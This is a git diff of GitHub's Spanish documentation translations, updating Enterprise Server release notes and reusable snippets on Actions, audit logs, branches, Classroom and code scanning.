comment %} https://github.com/github/enterprise2/pull/26973, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' + - 'Los ganchos de recepción personalizados fallaron debido a los límites demasiado restrictivos en la memoria virtual o CPU.{% comment %} https://github.com/github/enterprise2/pull/26973, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' - 'In a GitHub Enterprise Server clustering configuration, Dependency Graph settings could have been incorrectly applied. {% comment %} https://github.com/github/enterprise2/pull/26981, https://github.com/github/enterprise2/pull/26861 {% endcomment %}' - 'Attempting to wipe all existing configuration settings with `ghe-cleanup-settings` failed to restart the Management Console service. {% comment %} https://github.com/github/enterprise2/pull/26988, https://github.com/github/enterprise2/pull/26901 {% endcomment %}' - 'During replication teardown via `ghe-repl-teardown` Memcached failed to be restarted. {% comment %} https://github.com/github/enterprise2/pull/26994, https://github.com/github/enterprise2/pull/26983 {% endcomment %}' - 'During periods of high load, users would receive HTTP 503 status codes when upstream services failed internal healthchecks. {% comment %} https://github.com/github/enterprise2/pull/27083, https://github.com/github/enterprise2/pull/26999 {% endcomment %}' - - 'Pre-receive hook environments were forbidden from calling the cat command via BusyBox on Alpine. {% comment %} https://github.com/github/enterprise2/pull/27116, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' - - 'Failing over from a primary Cluster datacenter to a secondary Cluster datacenter succeeds, but then failing back over to the original primary Cluster datacenter failed to promote Elasticsearch indicies. {% comment %} https://github.com/github/github/pull/193182, https://github.com/github/github/pull/192447 {% endcomment %}' + - 'Se prohibió que los ambientes de los ganchos de pre-recepción llamaran el comando cat a través de BusyBox en Alpine.{% comment %} https://github.com/github/enterprise2/pull/27116, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' + - 'La recuperación de fallos desde un centro de datos de un clúster primario hacia uno de un clúster secundario fue exitosa, pero recuperarse de los fallos nuevamente hacia el centro de datos del clúster primario original no pudo promover los índices de Elasticsearch. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}' - 'The "Import teams" button on the Teams page for an Organization returned an HTTP 404. {% comment %} https://github.com/github/github/pull/193303 {% endcomment %}' - 'Using the API to disable Secret Scanning correctly disabled the property but incorrectly returned an HTTP 422 and an error message. {% comment %} https://github.com/github/github/pull/193455, https://github.com/github/github/pull/192907 {% endcomment %}' - 'In some cases, GitHub Enterprise Administrators attempting to view the `Dormant users` page received `502 Bad Gateway` or `504 Gateway Timeout` response. {% comment %} https://github.com/github/github/pull/194262, https://github.com/github/github/pull/193609 {% endcomment %}' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml new file mode 100644 index 0000000000..1a95886e35 --- /dev/null +++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml @@ -0,0 +1,29 @@ +--- +date: '2021-11-23' +intro: Se han desactivado las descargas debido a un error importante que afectó a varios clientes. Pronto tendremos una solución en el siguiente parche. +sections: + security_fixes: + - Los paquetes se actualizaron a las últimas versiones de seguridad. + bugs: + - Running `ghe-repl-start` or `ghe-repl-status` would sometimes return errors connecting to the database when GitHub Actions was enabled. + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - 'Running `ghe-support-bundle` returned an error: `integer expression expected`.' + - 'After setting up a high availability replica, `ghe-repl-status` included an error in the output: `unexpected unclosed action in command`.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + - The repository permissions to the user returned by the `/repos` API would not return the full list. + - The `childTeams` connection on the `Team` object in the GraphQL schema produced incorrect results under some circumstances. + - In a high availability configuration, repository maintenance always showed up as failed in stafftools, even when it succeeded. + - User defined patterns would not detect secrets in files like `package.json` or `yarn.lock`. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo. + - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización. + - Los archivos rastreados del LFS de Git que se [cargaron mediante la interface web](https://github.com/blog/2105-upload-files-to-your-repositories) se agregaron incorrecta y directamente al repositorio. + - Las propuestas no pudieron cerrarse si contenían un permalink a un blob en el mismo repositorio en donde la ruta de archvio del blob era más grande a 255 caracteres. + - Cuando se habilita "Los usuarios pueden buscar en GitHub.com" con GitHub Connect, las propuestas en los repositorios privados e internos no se incluirán en los resultados de búsqueda de GitHub.com. + - El registor de npm del {% data variables.product.prodname_registry %} ya no regresa un valor de tiempo en las respuestas de metadatos. Esto se hizo para permitir mejoras de rendimiento sustanciales. Seguimos teniendo todos los datos necesarios para devolver un valor de tiempo como parte de la respuesta de metadatos y terminaremos de devolver este valor ene l futuro una vez que hayamos resuelto los problemas de rendimiento existentes. + - Los límites de recursos que son específicos para procesar ganchos de pre-recepción podrían ocasionar que fallen algunos ganchos de pre-recepción. diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml index 920c676ae2..d4252e588a 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml @@ -91,10 +91,10 @@ sections: deprecations: - heading: 'Obsoletización de GitHub Enterprise Server 2.22' notes: - - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - '**{% data variables.product.prodname_ghe_server %} 2.22 se descontinuó el 23 de septiembre de 2021**. Esto significa que no se harán lanzamientos de parches, incluso para los problemas de seguridad, después de dicha fecha. Para tener un rendimiento mejor, una seguridad mejorada y cualquier característica nueva, [actualiza a la versión más nueva de {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) tan pronto te sea posible.' - heading: 'Deprecation of GitHub Enterprise Server 3.0' notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - '**{% data variables.product.prodname_ghe_server %} 3.0 se descontinuará el 16 de febrero de 2022**. Esto significa que no se harán lanzamientos de parche, aún para los problemas de seguridad crítucos, después de esta fecha. Para obtener un rendimiento mejor, una seguridad mejorada y características nuevas, [actualiza a la última versión de {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) tan pronto te sea posible.' - heading: 'Obsoletización del soporte para XenServer Hypervisor' notes: - 'Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.' diff --git a/translations/es-ES/data/reusables/actions/about-actions.md b/translations/es-ES/data/reusables/actions/about-actions.md new file mode 100644 index 0000000000..995119f59d --- /dev/null +++ b/translations/es-ES/data/reusables/actions/about-actions.md @@ -0,0 +1 @@ +{% data variables.product.prodname_actions %} is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline. diff --git a/translations/es-ES/data/reusables/actions/about-artifact-log-retention.md b/translations/es-ES/data/reusables/actions/about-artifact-log-retention.md index e8643193e7..1942045b68 100644 --- a/translations/es-ES/data/reusables/actions/about-artifact-log-retention.md +++ b/translations/es-ES/data/reusables/actions/about-artifact-log-retention.md @@ -1,6 +1,9 @@ Predeterminadamente, los artefactos y archivos de bitácora que generan los flujos de trabajo se retienen por 90 días antes de que se borren automáticamente. Puedes ajustar el periodo de retención dependiendo del tipo de repositorio: +{%- ifversion fpt or ghec or ghes %} - Para los repositorios públicos: puedes cambiar este periodo de retención a cualquier cantidad entre 1 o 90 días. -- Para los repositorios privados, internos y de {% data variables.product.prodname_ghe_server %}: puedes cambiar este periodo de retención a cualquier cantidad entre 1 y 400 días. +{%- endif %} + +- For private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories: you can change this retention period to anywhere between 1 day or 400 days. Cuando personalizas el periodo de retención, esto aplicará solamente a los artefactos y archivos de bitácora nuevos, y no aplicará retroactivamente a los objetos existentes. Para los repositorios y organizaciones administrados, el periodo de retención máximo no puede exceder el límite que configuró la organización o empresa administradora. diff --git a/translations/es-ES/data/reusables/actions/about-runners.md b/translations/es-ES/data/reusables/actions/about-runners.md new file mode 100644 index 0000000000..0b661b9ecf --- /dev/null +++ b/translations/es-ES/data/reusables/actions/about-runners.md @@ -0,0 +1 @@ +A runner is a server that runs your workflows when they're triggered. diff --git a/translations/es-ES/data/reusables/actions/access-actions-on-dotcom.md b/translations/es-ES/data/reusables/actions/access-actions-on-dotcom.md new file mode 100644 index 0000000000..a5acf25db4 --- /dev/null +++ b/translations/es-ES/data/reusables/actions/access-actions-on-dotcom.md @@ -0,0 +1 @@ +Si los usuarios de tu empresa necesitan acceso a otras acciones desde {% data variables.product.prodname_dotcom_the_website %} o {% data variables.product.prodname_marketplace %}, hay algunas cuantas opciones de configuración. diff --git a/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md b/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md index 85a7aef2cf..786cac23dc 100644 --- a/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| Acción | Descripción | -| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| Acción | Descripción | +| ------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} | `cancel_workflow_run` | Se activa cuando se cancela una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Cancelar un flujo de trabajo](/actions/managing-workflow-runs/canceling-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `completed_workflow_run` | Se activa cuando el estado de un flujo de trabajo cambia a `completed`. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `created_workflow_run` | Se activa cuando se crea una ejecución de flujo de trabajo. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Crear un flujo de trabajo de ejemplo](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | Se activa cuando se borra una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Borrar una ejecución de flujo de trabajo](/actions/managing-workflow-runs/deleting-a-workflow-run)". | -| `disable_workflow` | Se activa cuando se inhabilita un flujo de trabajo. | -| `enable_workflow` | Se activa cuando se habilita un flujo de trabajo después de que `disable_workflow` lo inhabilitó previamente. | +| `delete_workflow_run` | Se activa cuando se borra una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Borrar una ejecución de flujo de trabajo](/actions/managing-workflow-runs/deleting-a-workflow-run)". | +| `disable_workflow` | Se activa cuando se inhabilita un flujo de trabajo. | +| `enable_workflow` | Se activa cuando se habilita un flujo de trabajo después de que `disable_workflow` lo inhabilitó previamente. | | `rerun_workflow_run` | Se activa cuando se vuelve a ejecutar una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Volver a ejecutar un flujo de trabajo](/actions/managing-workflow-runs/re-running-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | Se activa cuando se inicia un job de flujo de trabajo. Incluye la lista de secretos que se proporcionaron al job. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Se activa cuando se aprueba el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)". | +| `prepared_workflow_job` | Se activa cuando se inicia un job de flujo de trabajo. Incluye la lista de secretos que se proporcionaron al job. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. Para obtener más información, consulta la sección "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `approve_workflow_job` | Se activa cuando se aprueba el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)". | | `reject_workflow_job` | Se activa cuando se rechaza el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)".{% endif %} diff --git a/translations/es-ES/data/reusables/actions/actions-bundled-with-ghes.md b/translations/es-ES/data/reusables/actions/actions-bundled-with-ghes.md new file mode 100644 index 0000000000..5a636c29fc --- /dev/null +++ b/translations/es-ES/data/reusables/actions/actions-bundled-with-ghes.md @@ -0,0 +1 @@ +La mayoría de las acciones oficiales de autoría de {% data variables.product.prodname_dotcom %} se agrupan automáticamente con {% data variables.product.product_name %} y se capturan en un punto en el tiempo desde {% data variables.product.prodname_marketplace %}. \ No newline at end of file diff --git a/translations/es-ES/data/reusables/actions/actions-use-policy-settings.md b/translations/es-ES/data/reusables/actions/actions-use-policy-settings.md index 8af015a781..7d1f9a78e3 100644 --- a/translations/es-ES/data/reusables/actions/actions-use-policy-settings.md +++ b/translations/es-ES/data/reusables/actions/actions-use-policy-settings.md @@ -1,3 +1,3 @@ Si eliges **Permitir las acciones seleccionadas**, las acciones locales se permitirán y habrá opciones adicionales para permitir otras acciones específicas. Para obtener más información, consulta la sección "[Permitir que se ejecuten acciones específicas](#allowing-specific-actions-to-run)". -Cuando permites únicamente acciones locales, las políticas bloquean todo el acceso a las acciones que haya creado {% data variables.product.prodname_dotcom %}. For example, the [`actions/checkout`](https://github.com/actions/checkout) action would not be accessible. +Cuando permites únicamente acciones locales, las políticas bloquean todo el acceso a las acciones que haya creado {% data variables.product.prodname_dotcom %}. Por ejemplo, no se podría acceder a la acción [`actions/checkout`](https://github.com/actions/checkout). diff --git a/translations/es-ES/data/reusables/actions/enterprise-github-connect-warning.md b/translations/es-ES/data/reusables/actions/enterprise-github-connect-warning.md index 637454ad63..df21be5b82 100644 --- a/translations/es-ES/data/reusables/actions/enterprise-github-connect-warning.md +++ b/translations/es-ES/data/reusables/actions/enterprise-github-connect-warning.md @@ -1,7 +1,7 @@ {% ifversion ghes > 3.2 or ghae-issue-4815 %} {% note %} -**Nota:** Con {% data variables.product.prodname_github_connect %} habilitado, las {% data variables.product.prodname_actions %} intentarán encontrar el repositorio en tu instancia de {% data variables.product.prodname_ghe_server %} antes de revertirse a {% data variables.product.prodname_dotcom_the_website%}. If a user has already created an organization and repository in your enterprise that matches an organization and repository name on {% data variables.product.prodname_dotcom %}, the repository on your enterprise will be used in place of the {% data variables.product.prodname_dotcom %} repository. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." +**Nota:** Con {% data variables.product.prodname_github_connect %} habilitado, las {% data variables.product.prodname_actions %} intentarán encontrar el repositorio en tu instancia de {% data variables.product.prodname_ghe_server %} antes de revertirse a {% data variables.product.prodname_dotcom_the_website%}. Si un usuario ya creó una organización y repositorio en tu empresa, el cual empate con un nombre de organización y repositorio en {% data variables.product.prodname_dotcom %}, el repositorio de tu empresa se utilizará en vez del de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Jubilación automática de designadores de espacio para las acciones a las cuales se accede en {% data variables.product.prodname_dotcom_the_website%}](#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)". {% endnote %} {% endif %} diff --git a/translations/es-ES/data/reusables/actions/enterprise-s3-permission.md b/translations/es-ES/data/reusables/actions/enterprise-s3-permission.md index f94ed5caf7..b7ea61b41b 100644 --- a/translations/es-ES/data/reusables/actions/enterprise-s3-permission.md +++ b/translations/es-ES/data/reusables/actions/enterprise-s3-permission.md @@ -7,5 +7,5 @@ * `s3:AbortMultipartUpload` * `s3:DeleteObject` * `s3:ListBucket` -* `kms:GenerateDataKey` (if Key Management Service (KMS) encryption has been enabled) +* `kms:GenerateDataKey` (si se habilitó el cifrado del servicio de administración de llaves (KMS)) diff --git a/translations/es-ES/data/reusables/actions/general-security-hardening.md b/translations/es-ES/data/reusables/actions/general-security-hardening.md new file mode 100644 index 0000000000..4813dab54f --- /dev/null +++ b/translations/es-ES/data/reusables/actions/general-security-hardening.md @@ -0,0 +1,3 @@ +## Fortalecimiento de seguridad general para las {% data variables.product.prodname_actions %} + +Si quieres aprender más acerca de las prácticas de seguridad para {% data variables.product.prodname_actions %}, consulta la sección "[Fortalecimiento de seguridad para las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/security-hardening-for-github-actions)". \ No newline at end of file diff --git a/translations/es-ES/data/reusables/actions/introducing-enterprise.md b/translations/es-ES/data/reusables/actions/introducing-enterprise.md new file mode 100644 index 0000000000..eb67846ab7 --- /dev/null +++ b/translations/es-ES/data/reusables/actions/introducing-enterprise.md @@ -0,0 +1 @@ +Before you get started, you should make a plan for how you'll introduce {% data variables.product.prodname_actions %} to your enterprise. Para obtener más información, consulta la sección "[Introducción a las {% data variables.product.prodname_actions %} para tu empresa](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)". \ No newline at end of file diff --git a/translations/es-ES/data/reusables/actions/message-parameters.md b/translations/es-ES/data/reusables/actions/message-parameters.md index fd9358b1a0..932e4ffd18 100644 --- a/translations/es-ES/data/reusables/actions/message-parameters.md +++ b/translations/es-ES/data/reusables/actions/message-parameters.md @@ -1 +1 @@ -| Parameter | Value | | :- | :- |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} | `title` | Custom title |{% endif %} | `file` | Filename | | `col` | Column number, starting at 1 |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} | `endColumn` | End column number |{% endif %} | `line` | Line number, starting at 1 |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} | `endLine` | End line number |{% endif %} +| Parámetro | Valor | | :- | :- |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} | `título` | Título personalizado |{% endif %} | `archivo` | Nombre de archivo | | `código` | Número de columna, comenzando en 1 |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} | `endColumn` | Número de columna final |{% endif %} | `línea` | Número de línea, comenzando en 1 |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} | `endLine` | Número de línea final |{% endif %} diff --git a/translations/es-ES/data/reusables/actions/migrating-enterprise.md b/translations/es-ES/data/reusables/actions/migrating-enterprise.md new file mode 100644 index 0000000000..315eb672b9 --- /dev/null +++ b/translations/es-ES/data/reusables/actions/migrating-enterprise.md @@ -0,0 +1 @@ +If you're migrating your enterprise to {% data variables.product.prodname_actions %} from another provider, there are additional considerations. Para obtener más información, consulta la sección "[Migrar tu empresa a {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions)". \ No newline at end of file diff --git a/translations/es-ES/data/reusables/actions/pass-inputs-to-reusable-workflows.md b/translations/es-ES/data/reusables/actions/pass-inputs-to-reusable-workflows.md new file mode 100644 index 0000000000..ccf484e45d --- /dev/null +++ b/translations/es-ES/data/reusables/actions/pass-inputs-to-reusable-workflows.md @@ -0,0 +1,13 @@ +To pass named inputs to a called workflow, use the `with` keyword in a job. Utiliza la palabra clave `secrets` para pasar los secretos nombrados. For inputs, the data type of the input value must match the type specified in the called workflow (either boolean, number, or string). + +{% raw %} +```yaml +jobs: + call-workflow-passing-data: + uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main + with: + username: mona + secrets: + envPAT: ${{ secrets.envPAT }} +``` +{% endraw %} \ No newline at end of file diff --git a/translations/es-ES/data/reusables/actions/self-hosted-runner-ports-protocols.md b/translations/es-ES/data/reusables/actions/self-hosted-runner-ports-protocols.md new file mode 100644 index 0000000000..486bb3838a --- /dev/null +++ b/translations/es-ES/data/reusables/actions/self-hosted-runner-ports-protocols.md @@ -0,0 +1,3 @@ +{% ifversion ghes or ghae %} +The connection between self-hosted runners and {% data variables.product.product_name %} is over HTTP (port 80) and HTTPS (port 443). +{% endif %} \ No newline at end of file diff --git a/translations/es-ES/data/reusables/advanced-security/check-for-ghas-license.md b/translations/es-ES/data/reusables/advanced-security/check-for-ghas-license.md new file mode 100644 index 0000000000..bc8a36a0fc --- /dev/null +++ b/translations/es-ES/data/reusables/advanced-security/check-for-ghas-license.md @@ -0,0 +1 @@ +You can identify if your enterprise has a {% data variables.product.prodname_GH_advanced_security %} license by reviewing {% ifversion ghes = 3.0 %}the {% data variables.enterprise.management_console %}{% elsif ghes > 3.0 %}your enterprise settings{% endif %}. For more information, see "[Enabling GitHub Advanced Security for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise#checking-whether-your-license-includes-github-advanced-security)." diff --git a/translations/es-ES/data/reusables/audit_log/audit-log-git-events-retention.md b/translations/es-ES/data/reusables/audit_log/audit-log-git-events-retention.md index 30cbed01a2..0f6ac04d63 100644 --- a/translations/es-ES/data/reusables/audit_log/audit-log-git-events-retention.md +++ b/translations/es-ES/data/reusables/audit_log/audit-log-git-events-retention.md @@ -1 +1 @@ -The audit log retains Git events for seven days. This is shorter than other audit log events, which can be retained for up to seven months. +La bitácora de auditoría retiene eventos de Git por siete días. Esto es más corto que otros eventos de bitácora de auditoría, los cuales se pueden retener por hasta siete meses. diff --git a/translations/es-ES/data/reusables/branches/set-default-branch.md b/translations/es-ES/data/reusables/branches/set-default-branch.md index 4dae73bf2e..2bdea079c4 100644 --- a/translations/es-ES/data/reusables/branches/set-default-branch.md +++ b/translations/es-ES/data/reusables/branches/set-default-branch.md @@ -1 +1 @@ -Puedes configurar el nombre de la rama predeterminada para los repositorios nuevos. For more information, see "[Managing the default branch for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)," "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)," and "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-the-default-branch-name)." +Puedes configurar el nombre de la rama predeterminada para los repositorios nuevos. Para obtener más información, consulta las secciones "[Administrar la rama predeterminada para tus repositorios](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)", "[Administrar el nombre de rama predeterminado para los repositorios de tu organización](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)" y "[Requerir políticas de administración de repositorios en tu empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-the-default-branch-name)". diff --git a/translations/es-ES/data/reusables/classroom/assignments-guide-choose-visibility.md b/translations/es-ES/data/reusables/classroom/assignments-guide-choose-visibility.md index 849d1328a6..fa2d7efeef 100644 --- a/translations/es-ES/data/reusables/classroom/assignments-guide-choose-visibility.md +++ b/translations/es-ES/data/reusables/classroom/assignments-guide-choose-visibility.md @@ -1,6 +1,6 @@ Los repositorios de una tarea pueden ser públicos o privados. Si utilizas repositorios privados, solo el alumno o equipo puede ver la retroalimentación que proporciones. -También puedes decidir si quieres otorgar a los alumnos permisos administrativos en el repositorio para una tarea. Otorga permisos administrativos si es que el alumno debe realizar tareas administrativas en el repositorio de tareas. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +También puedes decidir si quieres otorgar a los alumnos permisos administrativos en el repositorio para una tarea. Otorga permisos administrativos si es que el alumno debe realizar tareas administrativas en el repositorio de tareas. Para obtener más información, consulta las secciones "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" y "[Roles de los repositorios en una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)". Selecciona una visibilidad debajo de "Visibilidad del repositorio". Opcionalmente, selecciona **Otorgar a los alumnos acceso administrativo para el repositorio**. diff --git a/translations/es-ES/data/reusables/code-scanning/codeql-languages-keywords.md b/translations/es-ES/data/reusables/code-scanning/codeql-languages-keywords.md index 946b677788..526eae35be 100644 --- a/translations/es-ES/data/reusables/code-scanning/codeql-languages-keywords.md +++ b/translations/es-ES/data/reusables/code-scanning/codeql-languages-keywords.md @@ -1 +1 @@ -`cpp`, `csharp`, `go`, `java`, `javascript`,{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %} `python`, and `ruby`{% else %} and `python`{% endif %} +`cpp`, `csharp`, `go`, `java`, `javascript`,{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %} `python`, y `ruby`{% else %} y `python`{% endif %} diff --git a/translations/es-ES/data/reusables/code-scanning/enabling-options.md b/translations/es-ES/data/reusables/code-scanning/enabling-options.md index bcae418ba6..9fee080bae 100644 --- a/translations/es-ES/data/reusables/code-scanning/enabling-options.md +++ b/translations/es-ES/data/reusables/code-scanning/enabling-options.md @@ -19,10 +19,10 @@ {%- ifversion fpt or ghes > 3.0 or ghae-next %} | -{% data variables.product.prodname_codeql %} | Utilizando {% data variables.product.prodname_actions %} (Consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} utilizando acciones](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") o ejecutando el análisis de {% data variables.product.prodname_codeql %} en un sistema de integración contínua (IC) de terceros (consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} en tu sistema de IC](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"). +{% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or running {% data variables.product.prodname_codeql %} analysis in a third-party continuous integration (CI) system (see "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)"). {%- else %} | -{% data variables.product.prodname_codeql %} | Utilizando {% data variables.product.prodname_actions %} (consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} utilizando acciones](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") o utilizando el {% data variables.product.prodname_codeql_runner %} en un sistema de integración continua (IC) de terceros (consulta la sección "[ejecutar el escaneo de código de {% data variables.product.prodname_codeql %} en tu sistema de IC](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)"). +{% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or using the {% data variables.product.prodname_codeql_runner %} in a third-party continuous integration (CI) system (see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system)"). {%- endif %} | Terceros | Utilizando -{% data variables.product.prodname_actions %} (consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} utilizando acciones](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") o generado externamente y cargado a {% data variables.product.product_name %} (consulta la sección "[Cargar un archivo SARFI a {% data variables.product.prodname_dotcom %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github)").| +{% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or generated externally and uploaded to {% data variables.product.product_name %} (see 